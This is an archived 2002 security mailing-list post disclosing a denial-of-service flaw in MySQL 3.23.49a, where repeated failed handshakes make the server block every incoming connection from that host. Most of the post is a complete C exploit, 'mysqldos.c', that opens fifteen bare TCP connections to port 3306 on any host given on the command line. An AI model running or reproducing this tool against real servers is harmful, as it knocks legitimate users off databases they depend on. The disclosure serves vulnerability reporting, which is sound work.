DoS against mysqld

From: luca.ercoliat_private
Date: Fri Aug 23 2002 - 03:19:19 PDT

  • Next message: GreyMagic Software: "Accessing remote/local content in IE (GM#009-IE)"

    If are create more than eleven bad connection (ex. Bad Handshake) 
    at port mysqld, the server, from this time, block all incoming
    connections.
    
    This is the error:
    
    mysql> connect test 127.0.0.1
    ERROR 1129: Host 'localhost.localdomain' is blocked because of many
    connection errors.  Unblock with 'mysqladmin flush-hosts'
    
    This is the exploit:
    
    
    /* 
    mysqldos.c 
    FOR EDUCATIONAL PURPOSE
    Luca Ercoli luca.ercoliat_private
    tested against ver 3.23.49a
    */
    
    #include <netdb.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <unistd.h>
    
    #define PORT 3306
    
    int main(int argc, char *argv[]){
    
    int sockfd;
    struct hostent *he;
    struct sockaddr_in their_addr;
    
    int c;	
    int n;   
     char *host = NULL;
    	
    
    	if(argc < 2 ) { 
    		printf ("Sintassi: %s -h host\n",argv[0]);
    		exit(0);
    	}
    
    
    while((n = getopt(argc, argv, "h")) != -1) {
    		switch(n) {
    			case 'h':
    			host = optarg;
    			break;
    					
    			default:
    			printf("Errore in argv\n");
    			exit(0);
    		}
    	}
    
    
    if ((he = gethostbyname(argv[2])) == NULL)
    	  {
    		  herror("gethostbyname");
    		  exit(1);
    	  }
    
    	their_addr.sin_family = AF_INET;
    	their_addr.sin_port = htons(PORT);
    	their_addr.sin_addr = *((struct in_addr *) he->h_addr);
    	bzero(&(their_addr.sin_zero), 8);
    
    printf("Sending dos ");
    
    for (c=0;c<15;c++){
    
    if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    	  {
    		  perror("socket");
    		  exit(1);
    	  }
    
    
    
    	if (connect (sockfd, (struct sockaddr *) &their_addr, sizeof(struct
    sockaddr)) == -1)
    	  {
    		  perror("connect");
    		  exit(1);
    	  }
    
            printf (".");
    
    close(sockfd);
    
    }
    
    printf("\n");
    return 1;
    
    }
    



    This archive was generated by hypermail 2b30 : Fri Aug 23 2002 - 08:48:22 PDT